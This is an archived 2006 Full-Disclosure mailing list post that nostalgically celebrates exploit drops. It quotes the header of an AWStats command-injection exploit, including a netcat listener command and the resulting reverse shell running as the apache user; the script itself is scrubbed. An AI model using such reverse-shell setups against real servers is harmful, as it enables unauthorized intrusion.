full-disclosure - Let's Not Forget Whose In Charge

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Date: Sat May  6 13:27:45 2006
From: redsand at redsand.net (redsand)
Subject: Let's Not Forget Whose In Charge



I just wanted to remind everyone how this mailing list USED to be.
Remember when it USED to be better? Cooler? Faster? Stronger? Back when
all those nifty cool 1-day and 0-day exploits were dropped randomly just
so we could watch the security industry scramble to take cover?


Boy THOSE were the days!!!


http://blacksecurity.org



# http://secunia.com/advisories/19969/
# by redsand@...cksecurity.org
# May 5, 2006 - HAPPY CINCO DE MAYO
# HAPPY BIRTHDAY DAD
# private plz


#
#       redsand@...xy ~/ $ nc -l -p 31337 -v
tshelton@...ktop:~$ head -n30 bl4ck_awstats_migrate_cmd_inj.py
#!/usr/bin/env python
# http://secunia.com/advisories/19969/
# by redsand@...cksecurity.org
# May 5, 2006 - HAPPY CINCO DE MAYO
# HAPPY BIRTHDAY DAD
# private plz


#
#       redsand@...xy ~/ $ nc -l -p 31337 -v
#       listening on [any] 31337 ...
#       connect to [65.99.197.147] from blacksecurity.org
[65.99.197.147] 53377
#       id
#       uid=81(apache) gid=81(apache) groups=81(apache)
#

-------------- next part --------------
A non-text attachment was scrubbed...
Name: bl4ck_awstats_migrate_cmd_inj.py
Type: text/x-python
Size: 3447 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20060506/f2e72e9b/bl4ck_awstats_migrate_cmd_inj.py